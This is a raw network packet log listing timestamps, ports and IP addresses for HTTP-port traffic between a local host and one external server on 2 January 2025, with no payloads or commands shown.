Jan 2, 2025 19:14:18.086467981 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086482048 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086488008 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086497068 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086503983 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086513042 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086518049 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086527109 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.086545944 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.086569071 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086570024 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.086575985 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086587906 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086704016 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.086730957 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086740017 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086743116 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086754084 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086761951 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086765051 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086771011 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086776018 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086781979 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086786985 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086791992 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086803913 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.086807966 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086813927 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086821079 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086826086 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.086826086 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086834908 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086841106 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086847067 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086852074 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086852074 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.086852074 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.086859941 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086864948 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086870909 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086875916 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086875916 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.086883068 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086889029 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086908102 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.086908102 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.086961031 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.087306023 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.087330103 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.087342978 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.087348938 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.087353945 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.087359905 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.087366104 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.087367058 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.087382078 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.087466955 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.088269949 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.088320017 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.088342905 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.088356972 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.088362932 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.088368893 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.088373899 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.088386059 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.088392019 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.088421106 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.088505030 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.096299887 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.096304893 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.096318007 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.096354961 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.096366882 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.096373081 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.096379042 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.096385002 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.096390009 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.096390963 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.096436024 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.096477032 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.096642017 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.096648932 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.096662998 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.096677065 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.096683025 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.096695900 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.096710920 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.096714020 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.096746922 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.096798897 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.097183943 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097189903 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097201109 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097207069 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097213030 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097220898 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097223997 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097235918 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097243071 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.097311974 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.097316027 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097325087 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097330093 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097336054 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097341061 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097347021 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097358942 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097364902 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097373962 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.097399950 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.097399950 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.097788095 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097794056 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097805977 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097815990 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097820997 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097831964 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097837925 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097846985 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.097875118 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.097875118 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.097903967 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097918034 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097928047 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097934008 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097939968 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097944975 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097955942 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097961903 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.097965956 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.097968102 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098047018 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098052025 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098062992 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098062992 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098069906 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098074913 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098081112 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098088026 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098103046 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098138094 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098139048 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098170996 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098184109 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098190069 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098195076 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098201036 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098206997 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098212957 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098217964 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098218918 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098225117 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098234892 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098242044 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098247051 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098257065 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098262072 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098269939 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098274946 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098275900 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098282099 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098287106 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098298073 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098304033 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098309994 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098315954 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098320961 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098320961 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098326921 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098329067 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098336935 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098341942 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098356009 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098361015 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098361969 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098377943 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098393917 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098402023 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098408937 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098413944 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098413944 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098424911 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098426104 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098437071 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098438025 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098450899 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098469019 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098555088 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098567963 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098578930 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098584890 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098598003 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098603010 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098608971 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098613977 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098624945 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098637104 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098645926 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098650932 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098656893 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098668098 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098673105 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098675013 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098678112 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098679066 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098689079 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098701954 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098707914 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098714113 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098721981 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098728895 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098733902 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098740101 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098746061 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098745108 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098747969 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098747969 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098752975 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098758936 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098771095 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098776102 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098783016 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098788023 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098793030 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098793030 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098794937 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098800898 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098808050 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.098830938 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098834038 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098866940 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.098866940 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.099136114 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.099140882 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.099152088 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.099158049 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.099168062 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.099179983 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.099186897 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.099191904 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.099196911 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.099198103 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.099204063 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.099205971 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.099250078 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.099675894 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.099680901 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.099694967 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.099703074 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.099708080 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.099745035 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.099777937 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.099803925 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.099811077 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.099816084 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.099879980 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.100224018 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.100286007 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.100291014 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.100301981 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.100308895 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.100313902 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.100328922 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.100338936 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.100346088 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.100349903 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.100353003 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.100373983 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.100426912 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.100433111 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.100438118 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.100444078 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.100445032 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.100461960 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.100467920 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.100471973 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.100478888 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.100482941 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.100482941 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.100512028 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.100590944 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.101362944 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.101367950 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.101385117 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.101391077 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.101399899 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.101406097 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.101423025 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.101468086 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.101471901 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.101473093 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.101485014 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.101490974 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.101501942 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.101507902 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.101558924 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.101560116 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.101561069 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.101566076 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.101582050 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.101593018 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.101598024 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.101608992 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.101614952 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.101619959 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.101629019 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.101634979 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.101640940 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.101644993 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.101650953 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.101655006 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.101655006 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.101658106 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.101669073 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.101675034 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.101681948 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.101681948 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.101727962 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.102436066 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.102441072 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.102453947 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.102461100 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.102492094 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.102499008 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.102504015 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.102509022 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.102538109 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.102555037 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.102591991 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.102627993 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.115984917 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.115991116 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116003990 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116008997 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116014957 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116090059 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.116090059 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.116111040 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116127014 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.116172075 CET	80	49726	147.45.44.131	192.168.2.6
